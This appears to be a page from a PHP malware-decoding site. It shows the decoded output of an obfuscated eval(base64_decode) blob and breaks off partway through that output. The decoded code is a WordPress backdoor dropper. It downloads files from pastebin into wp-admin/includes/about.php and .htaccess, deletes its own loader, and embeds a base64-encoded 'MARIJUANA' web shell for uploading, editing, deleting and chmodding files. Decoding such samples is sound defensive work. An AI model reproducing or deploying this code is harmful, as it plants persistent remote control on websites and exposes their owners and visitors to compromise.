Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("ZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CiRpbSA9IGN1cmxfaW5pdCgkdXJsKTsK..

Decoded Output download

function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/includes/about.php" ;
$text1 = http_get('https://pastebin.com/raw/MBZAH4XQ');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/includes/.htaccess" ;
$text1 = http_get('https://pastebin.com/raw/NcdUDjcx');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
unlink("./tes.php");
if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "
");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString . "shell.php";
}

$payload_file = "PD9waHAgaGVhZGVyKCJYLVhTUy1Qcm90ZWN0aW9uOiAwIik7b2Jfc3RhcnQoKTtzZXRfdGltZV9saW1pdCgwKTtlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCBGQUxTRSk7CiRBcnJheSA9IFsKCQknNzA2ODcwNWY3NTZlNjE2ZDY1JywKCQknNzA2ODcwNzY2NTcyNzM2OTZmNmUnLAoJCSc2MzY4NjQ2OTcyJywKCQknNjc2NTc0NjM3NzY0JywKCQknNzA3MjY1Njc1ZjczNzA2YzY5NzQnLAoJCSc2MzZmNzA3OScsCgkJJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLAoJCSc2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NScsCgkJJzY5NzM1ZjY0Njk3MicsCgkJJzZmNjI1ZjY1NmU2NDVmNjM2YzY1NjE2ZTI4MjkzYicsCgkJJzc1NmU2YzY5NmU2YicsCgkJJzZkNmI2NDY5NzInLAoJCSc2MzY4NmQ2ZjY0JywKCQknNzM2MzYxNmU2NDY5NzInLAoJCSc3Mzc0NzI1ZjcyNjU3MDZjNjE2MzY1JywKCQknNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLAoJCSc3NjYxNzI1ZjY0NzU2ZDcwJywKCQknNjY2ZjcwNjU2ZScsCgkJJzY2Nzc3MjY5NzQ2NScsCgkJJzY2NjM2YzZmNzM2NScsCgkJJzY0NjE3NDY1JywKCQknNjY2OTZjNjU2ZDc0Njk2ZDY1JywKCQknNzM3NTYyNzM3NDcyJywKCQknNzM3MDcyNjk2ZTc0NjYnLAoJCSc2NjY5NmM2NTcwNjU3MjZkNzMnLAoJCSc3NDZmNzU2MzY4JywKCQknNjY2OTZjNjU1ZjY1Nzg2OTczNzQ3MycsCgkJJzcyNjU2ZTYxNmQ2NScsCgkJJzY5NzM1ZjYxNzI3MjYxNzknLAoJCSc2OTczNWY2ZjYyNmE2NTYzNzQnLAoJCSc3Mzc0NzI3MDZmNzMnLAoJCSc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywKCQknNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NScsCgkJJzczNzQ3Mjc0NmY3NDY5NmQ2NScsCgkJJzY2Njk2YzY1NzM2OTdhNjUnLAoJCSc3MjZkNjQ2OTcyJywKCQknNmY2MjVmNjc2NTc0NWY2MzZjNjU2MTZlJywKCQknNzI2NTYxNjQ2NjY5NmM2NScsCgkJJzYxNzM3MzY1NzI3NCcsCl07CiRfX18gPSBjb3VudCgkQXJyYXkpOwpmb3IoJGk9MDskaTwkX19fOyRpKyspIHsKCSRHTkpbXSA9IHVoZXgoJEFycmF5WyRpXSk7Cn0KPz4KPCFET0NUWVBFIGh0bWw+Cgk8aHRtbCBkaXI9ImF1dG8iIGxhbmc9ImVuLVVTIj4KCgkJPGhlYWQ+CgkJCTxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KCQkJPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyI+CgoJCQkJPHRpdGxlPk1BUklKVUFOQTwvdGl0bGU+CgoJCQk8bGluayByZWw9Imljb24iIGhyZWY9Ii8vMHg1YTQ1NTU1My5naXRodWIuaW8vTUFSSUpVQU5BL2ljb24ucG5nIiAvPgoJCQk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vMHg1YTQ1NTU1My5naXRodWIuaW8vTUFSSUpVQU5BL21haW4uY3NzIiB0eXBlPSJ0ZXh0L2NzcyI+CgoJCQk8c2NyaXB0IHNyYz0iLy9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMy4zLjEvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CgkJCTxzY3JpcHQgc3JjPSIvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9ub3RpZnkvMC40LjIvbm90aWZ5Lm1pbi5qcyI+PC9zY3JpcHQ+CgkJPC9oZWFkPgoKCQk8Ym9keT4KCQkJPGhlYWRlcj4KCQkJCTxkaXYgY2xhc3M9InkgeCI+CgkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7Pz4iPgoJCQkJCQlNQVJJSnVBTkEKCQkJCQk8L2E+CgkJCQk8L2Rpdj4KCgkJCQk8ZGl2IGNsYXNzPSJxIHggdyI+CgkJCQkJJiM4MjEyOyBESU9TICYjODIxMjsgTk8gJiM4MjEyOyBDUkVBICYjODIxMjsgTkFEQSAmIzgyMTI7IEVOICYjODIxMjsgVkFOTyAmIzgyMTI7CgkJCQk8L2Rpdj4KCQkJCQoJCQk8L2hlYWRlcj4KCgkJCTxhcnRpY2xlPgoJCQkJPGRpdiBjbGFzcz0iaSI+CgkJCQkJPGkgY2xhc3M9ImZhciBmYS1oZGQiPjwvaT4KCQkJCQk8P3BocCBlY2hvICRHTkpbMF0oKTs/PgoKCQkJCQk8YnIgLz4KCgkJCQkJPGkgY2xhc3M9ImZhciBmYS1saWdodGJ1bGIiPjwvaT4gJnRoaW5zcDsmdGhpbnNwOzxiPlNPRlQgIDo8L2I+IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOz8+IDxiPlBIUCA6PC9iPiA8P3BocCBlY2hvICRHTkpbMV0oKTs/PgoKCQkJCQk8YnIgLz4KCgkJCQkJPGkgY2xhc3M9ImZhciBmYS1mb2xkZXIiPjwvaT4KCQkJCQkKCQkJCQk8P3BocAoJCQkJCWlmKGlzc2V0KCRfR0VUWyJkIl0pKSB7CgkJCQkJCSRkID0gdWhleCgkX0dFVFsiZCJdKTsKCQkJCQkJJEdOSlsyXSh1aGV4KCRfR0VUWyJkIl0pKTsKCQkJCQl9CgkJCQkJZWxzZSB7CgkJCQkJCSRkID0gJEdOSlszXSgpOwoJCQkJCX0KCQkJCQkkayA9ICRHTkpbNF0oIi8oXFxcfFwvKS8iLCAkZCApOwoJCQkJCWZvcmVhY2ggKCRrIGFzICRtID0+ICRsKSB7IAoJCQkJCQlpZigkbD09JycgJiYgJG09PTApIHsKCQkJCQkJCWVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPTJmIj4vPC9hPic7CgkJCQkJCX0KCQkJCQkJaWYoJGwgPT0gJycpIHsgCgkJCQkJCQljb250aW51ZTsKCQkJCQkJfQoJCQkJCQllY2hvICc8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nOwoJCQkJCQlmb3IgKCRpID0gMDsgJGkgPD0gJG07ICRpKyspIHsKCQkJCQkJCWVjaG8gaGV4KCRrWyRpXSk7IAoJCQkJCQkJaWYoJGkgIT0gJG0pIHsKCQkJCQkJCQllY2hvICcyZic7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZWNobyAnIj4nLiRsLic8L2E+Lyc7IAoJCQkJCX0KCQkJCQk/PgoKCQkJCQk8YnIgLz4KCgkJCQk8L2Rpdj4KCgkJCQk8ZGl2IGNsYXNzPSJ1Ij4KCQkJCQk8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfQUREUiddOz8+IDxpIGNsYXNzPSJmYXMgZmEtbGluayI+PC9pPgoJCQkJCTxiciAvPgoKCQkJCQk8YnIgLz4KCgkJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KCQkJCQkJPGxhYmVsIGNsYXNzPSJsIHciPgoJCQkJCQkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im5bXSIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSIgbXVsdGlwbGU+ICZuYnNwO1VQTE9BRAoJCQkJCQk8L2xhYmVsPiZuYnNwOwoJCQkJCTwvZm9ybT4KCgkJCQkJPD9waHAKCQkJCQkkb18gPSBbIAoJCQkJCQkJJzxzY3JpcHQ+JC5ub3RpZnkoIicsCgkJCQkJCQknIiwgeyBjbGFzc05hbWU6IjEiLGF1dG9IaWRlRGVsYXk6IDIwMDAscG9zaXRpb246ImxlZnQgYm90dG9tIiB9KTs8L3NjcmlwdD4nCgkJCQkJCV07CgkJCQkJJGYgPSAkb19bMF0uJ09LIScuJG9fWzFdOwoJCQkJCSRnID0gJG9fWzBdLidFUiEnLiRvX1sxXTsKCQkJCQlpZihpc3NldCgkX0ZJTEVTWyJuIl0pKSB7CgkJCQkJCSR6ID0gJF9GSUxFU1sibiJdWyJuYW1lIl07CgkJCQkJCSRyID0gY291bnQoJHopOwoJCQkJCQlmb3IoICRpPTAgOyAkaSA8ICRyIDsgJGkrKyApIHsKCQkJCQkJCWlmKCRHTkpbNV0oJF9GSUxFU1sibiJdWyJ0bXBfbmFtZSJdWyRpXSwgJHpbJGldKSkgewoJCQkJCQkJCWVjaG8gJGY7CgkJCQkJCQl9CgkJCQkJCQllbHNlIHsKCQkJCQkJCQllY2hvICRnOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJCT8+CgoJCQkJPC9kaXY+CgkJCQkJPD9waHAKCQkJCQkkYV8gPSAnPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPgoJCQkJCQk8dGhlYWQ+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRoPic7CgkJCQkJJGJfID0gJzwvdGg+CgkJCQkJCQk8L3RyPgoJCQkJCQk8L3RoZWFkPgoJCQkJCQk8dGJvZHk+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRkPjwvdGQ+CgkJCQkJCQk8L3RyPgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0ZCBjbGFzcz0ieCI+JzsKCQkJCQkkY18gPSAnPC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCTwvdGJvZHk+CgkJCQkJPC90YWJsZT4nOwoJCQkJCSRkXyA9ICc8YnIgLz4KCQkJCQkJCQkJCTxiciAvPgoJCQkJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InciIHZhbHVlPSImbmJzcDtPSyZuYnNwOyIgLz4KCQkJCQkJCQkJPC9mb3JtPic7CgkJCQkJaWYoaXNzZXQoJF9HRVRbInMiXSkpIHsKCQkJCQkJZWNobyAkYV8udWhleCgkX0dFVFsicyJdKS4kYl8uJwoJCQkJCQkJCQk8dGV4dGFyZWEgcmVhZG9ubHk9InllcyI+Jy4kR05KWzE1XSgkR05KWzZdKHVoZXgoJF9HRVRbInMiXSkpKS4nPC90ZXh0YXJlYT4KCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCTxiciAvPgoJCQkJCQkJCQk8aW5wdXQgb25jbGljaz0ibG9jYXRpb24uaHJlZj1cJz9kPScuJF9HRVRbImQiXS4nJmU9Jy4kX0dFVFsicyJdLidcJyIgdHlwZT0ic3VibWl0IiBjbGFzcz0idyIgdmFsdWU9IiZuYnNwO0VESVQmbmJzcDsiIC8+CgkJCQkJCQkJJy4kY187CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsieSJdKSkgewoJCQkJCQllY2hvICRhXy4nUkVRVUVTVCcuJGJfLicKCQkJCQkJCQkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ieCIgdHlwZT0idGV4dCIgbmFtZT0iMSIgLz4mbmJzcDsmbmJzcDsKCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ieCIgdHlwZT0idGV4dCIgbmFtZT0iMiIgLz4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCTx0ZXh0YXJlYSByZWFkb25seT0ieWVzIj4nOwoKCQkJCQkJCQkJaWYoaXNzZXQoJF9QT1NUWyIyIl0pKSB7CgkJCQkJCQkJCQllY2hvICRHTkpbMTVdKGRyZSgkX1BPU1RbIjEiXSwgJF9QT1NUWyIyIl0pKTsKCQkJCQkJCQkJfQoKCQkJCQkJCQllY2hvICc8L3RleHRhcmVhPgoJCQkJCQkJCScuJGNfOwoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbImUiXSkpIHsKCQkJCQkJZWNobyAkYV8udWhleCgkX0dFVFsiZSJdKS4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPHRleHRhcmVhIG5hbWU9ImUiIGNsYXNzPSJvIj4nLiRHTkpbMTVdKCRHTkpbNl0odWhleCgkX0dFVFsiZSJdKSkpLic8L3RleHRhcmVhPgoJCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJ3Ij5CQVNFNjQ8L3NwYW4+IDoKCQkJCQkJCQkJCTxzZWxlY3QgaWQ9ImI2NCIgbmFtZT0iYjY0Ij4KCQkJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSIwIj5OTzwvb3B0aW9uPgoJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjEiPllFUzwvb3B0aW9uPgoJCQkJCQkJCQkJPC9zZWxlY3Q+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY18uJwoJCQkJCQkJCQoJCQkJCTxzY3JpcHQ+CgkJCQkJCSQoIiNiNjQiKS5jaGFuZ2UoZnVuY3Rpb24oKSB7CgkJCQkJCQlpZigkKCIjYjY0IG9wdGlvbjpzZWxlY3RlZCIpLnZhbCgpID09IDApIHsKCQkJCQkJCQl2YXIgWCA9ICQoInRleHRhcmVhIikudmFsKCk7CgkJCQkJCQkJdmFyIFogPSBhdG9iKFgpOwoJCQkJCQkJCSQoInRleHRhcmVhIikudmFsKFopOwoJCQkJCQkJfQoJCQkJCQkJZWxzZSB7CgkJCQkJCQkJdmFyIE4gPSAkKCJ0ZXh0YXJlYSIpLnZhbCgpOwoJCQkJCQkJCXZhciBJID0gYnRvYShOKTsKCQkJCQkJCQkkKCJ0ZXh0YXJlYSIpLnZhbChJKTsKCQkJCQkJCX0KCQkJCQkJfSk7CgkJCQkJPC9zY3JpcHQ+JzsKCQkJCQlpZihpc3NldCgkX1BPU1RbImUiXSkpIHsKCQkJCQkJaWYoJF9QT1NUWyJiNjQiXSA9PSAiMSIpIHsKCQkJCQkJCSRleCA9ICRHTkpbN10oJF9QT1NUWyJlIl0pOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJJGV4ID0gJF9QT1NUWyJlIl07CgkJCQkJCX0KCQkJCQkJJGZwID0gJEdOSlsxN10odWhleCgkX0dFVFsiZSJdKSwgJ3cnKTsKCQkJCQkJaWYoJEdOSlsxOF0oJGZwLCAkZXgpKSB7CgkJCQkJCQlPSygpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJRVIoKTsKCQkJCQkJfQoJCQkJCQkkR05KWzE5XSgkZnApOwoJCQkJCSAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbIngiXSkpIHsKCQkJCQkJcmVjKHVoZXgoJF9HRVRbIngiXSkpOwoJCQkJCQlpZigkR05KWzI2XSh1aGV4KCRfR0VUWyJ4Il0pKSkgewoJCQkJCQkJRVIoKTsKCQkJCQkJfQoJCQkJCQllbHNlIHsKCQkJCQkJCU9LKCk7CgkJCQkJCX0KCgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsidCJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJ0Il0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IG5hbWU9InQiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy4kR05KWzIwXSgiWS1tLWQgSDppIiwgJEdOSlsyMV0odWhleCgkX0dFVFsidCJdKSkpLiciPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCScuJGNfOwoJCQkJCWlmKCAhZW1wdHkoJF9QT1NUWyJ0Il0pICkgewoJCQkJCQkkcCA9ICRHTkpbMzNdKCRfUE9TVFsidCJdKTsKCQkJCQkJaWYoJHApIHsKCQkJCQkJCWlmKCEkR05KWzI1XSh1aGV4KCRfR0VUWyJ0Il0pLCRwLCRwKSkgewoJCQkJCQkJCUVSKCk7CgkJCQkJCQl9CgkJCQkJCQllbHNlIHsKCQkJCQkJCQlPSygpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJRVIoKTsKCQkJCQkJfQoJCQkJCSAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbImsiXSkpIHsKCQkJCQkJZWNobyAkYV8udWhleCgkX0dFVFsiayJdKS4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJiIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IicuJEdOSlsyMl0oJEdOSlsyM10oJyVvJywgJEdOSlsyNF0odWhleCgkX0dFVFsiayJdKSkpLCAtNCkuJyI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoIWVtcHR5KCRfUE9TVFsiYiJdKSkgewoJCQkJCQkkeCA9ICRfUE9TVFsiYiJdOwoJCQkJCQkkdCA9IDA7CgkJCQkJZm9yKCRpPXN0cmxlbigkeCktMTskaT49MDstLSRpKQoJCQkJCQkkdCArPSAoaW50KSR4WyRpXSpwb3coOCwgKHN0cmxlbigkeCktJGktMSkpOwoJCQkJCWlmKCEkR05KWzEyXSh1aGV4KCRfR0VUWyJrIl0pLCAkdCkpIHsKCQkJCQkJRVIoKTsKCQkJCQl9CgkJCQkJZWxzZSB7CgkJCQkJCU9LKCk7CgkJCQkJCSAgfQoJCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsibCJdKSkgewoJCQkJCQllY2hvICRhXy4nK0RJUicuJGJfLicKCQkJCQkJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8aW5wdXQgbmFtZT0ibCIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSIiPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCScuJGNfOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsibCJdKSkgewoJCQkJCQlpZighJEdOSlsxMV0oJF9QT1NUWyJsIl0pKSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJT0soKTsKCQkJCQkJfQoJCQkJCSAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbInEiXSkpIHsKCQkJCQkJaWYoJEdOSlsxMF0oX19GSUxFX18pKSB7CgkJCQkJCQkkR05KWzM4XSgkR05KWzldKTsKCQkJCQkJCWhlYWRlcigiTG9jYXRpb246ICIuYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pLiIiKTsKCQkJCQkJCWV4aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlIHsKCQkJCQkJCWVjaG8gJGc7CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJuIl0pKSB7CgkJCQkJCWVjaG8gJGFfLicrRklMRScuJGJfLicKCQkJCQkJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8aW5wdXQgbmFtZT0ibiIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSIiPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCScuJGNfOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsibiJdKSkgewoJCQkJCQlpZighJEdOSlsyNV0oJF9QT1NUWyJuIl0pKSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJT0soKTsKCQkJCQkJfQoJCQkJCSAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbInIiXSkpIHsKCQkJCQkJZWNobyAkYV8udWhleCgkX0dFVFsiciJdKS4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJyIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IicudWhleCgkX0dFVFsiciJdKS4nIj4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQknLiRjXzsKCQkJCQlpZihpc3NldCgkX1BPU1RbInIiXSkpIHsKCQkJCQkJaWYoJEdOSlsyNl0oJF9QT1NUWyJyIl0pKSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJaWYoJEdOSlsyN10odWhleCgkX0dFVFsiciJdKSwgJF9QT1NUWyJyIl0pKSB7CgkJCQkJCQkJT0soKTsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCUVSKCk7CgkJCQkJCQl9CgkJCQkJCSAgfQoJCQkJCSAgIH0KCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJ6Il0pKSB7CgkJCQkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsKCQkJCQkJJHJlcyA9ICR6aXAtPm9wZW4odWhleCgkX0dFVFsieiJdKSk7CgkJCQkJCQlpZigkcmVzID09PSBUUlVFKSB7CgkJCQkJCQkJJHppcC0+ZXh0cmFjdFRvKHVoZXgoJF9HRVRbImQiXSkpOwoJCQkJCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkJCQkJT0soKTsKCQkJCQkJCX0gZWxzZSB7CgkJCQkJCQkJRVIoKTsKCQkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2UgewoJCQkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjciIHdpZHRoPSIxMDAlIj4KCQkJCQkJPHRoZWFkPgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0aCB3aWR0aD0iNDQlIj5bIE5BTUUgXTwvdGg+CgkJCQkJCQkJPHRoIHdpZHRoPSIxMSUiPlsgU0laRSBdPC90aD4KCQkJCQkJCQk8dGggd2lkdGg9IjE3JSI+WyBQRVJNIF08L3RoPgoJCQkJCQkJCTx0aCB3aWR0aD0iMTclIj5bIERBVEUgXTwvdGg+CgkJCQkJCQkJPHRoIHdpZHRoPSIxMSUiPlsgQUNUIF08L3RoPgoJCQkJCQkJPC90cj4KCQkJCQkJPC90aGVhZD4KCQkJCQkJPHRib2R5PgoJCQkJCQkJPHRyPgoJCQkJCQkJCTx0ZD4KCQkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGQpLicmbiI+K0ZJTEU8L2E+CgkJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRkKS4nJmwiPitESVI8L2E+CgkJCQkJCQkJPC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCSc7CgoJCQkJCQkJJGggPSAiIjsKCQkJCQkJCSRqID0gIiI7CgkJCQkJCQkkdyA9ICRHTkpbMTNdKCRkKTsKCQkJCQkJCWlmKCRHTkpbMjhdKCR3KSB8fCAkR05KWzI5XSgkdykpIHsKCQkJCQkJCWZvcmVhY2goJHcgYXMgJGMpewoJCQkJCQkJCSRlID0gJEdOSlsxNF0oIlxcIiwgIi8iLCAkZCk7CgkJCQkJCQkJaWYoISRHTkpbMzBdKCRjLCAiLnppcCIpKSB7CgkJCQkJCQkJCSR6aSA9ICcnOwoJCQkJCQkJCX0KCQkJCQkJCQllbHNlIHsKCQkJCQkJCQkJJHppID0gJzxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJno9Jy5oZXgoJGMpLiciPlU8L2E+JzsKCQkJCQkJCQl9CgkJCQkJCQkJaWYoJEdOSlszMV0oIiRkLyRjIikpIHsKCQkJCQkJCQkJCSRvID0gIiI7CgkJCQkJCQkJfQoJCQkJCQkJCWVsc2VpZighJEdOSlszMl0oIiRkLyRjIikpIHsKCQkJCQkJCQkJCSRvID0gIiBoIjsKCQkJCQkJCQl9CgkJCQkJCQkJZWxzZSB7CgkJCQkJCQkJCQkkbyA9ICIgdyI7CgkJCQkJCQkJfQoJCQkJCQkJCSRzID0gJEdOSlszNF0oIiRkLyRjIikgLyAxMDI0OwoJCQkJCQkJCSRzID0gcm91bmQoJHMsIDMpOwoJCQkJCQkJCWlmKCRzPj0xMDI0KSB7IAoJCQkJCQkJCQkkcyA9IHJvdW5kKCRzLzEwMjQsIDIpIC4gIiBNQiI7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJJHMgPSAkcyAuICIgS0IiOwoJCQkJCQkJCX0KCQkJCQkJCWlmKCgkYyAhPSAiLiIpICYmICgkYyAhPSAiLi4iKSl7CgkJCQkJCQkJKCRHTkpbOF0oIiRkLyRjIikpID8KCQkJCQkJCQkkaCAuPSAnPHRyIGNsYXNzPSJyIj4KCQkJCQkJCTx0ZD4KCQkJCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWZvbGRlciBtIj48L2k+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLmhleCgiLyIuJGMpLiciPicuJGMuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCWRpcgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCcuJG8uJyIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmaz0nLmhleCgkYykuJyI+Jy54KCIkZC8kYyIpLic8L2E+CgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZ0PScuaGV4KCRjKS4nIj4nLiRHTkpbMjBdKCJZLW0tZCBIOmkiLCAkR05KWzIxXSgiJGQvJGMiKSkuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnI9Jy5oZXgoJGMpLiciPlI8L2E+CgkJCQkJCQkJPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmeD0nLmhleCgkYykuJyI+RDwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCTwvdHI+CgkJCQkJCQoJCQkJCQknCgkJCQkJCQk6CgkJCQkJCQkJJGogLj0gJzx0ciBjbGFzcz0iciI+CgkJCQkJCQk8dGQ+CgkJCQkJCQkJPGkgY2xhc3M9ImZhciBmYS1maWxlIG0iPjwvaT4mdGhpbnNwOwoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnM9Jy5oZXgoJGMpLiciPicuJGMuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCScuJHMuJwoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCcuJG8uJyIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmaz0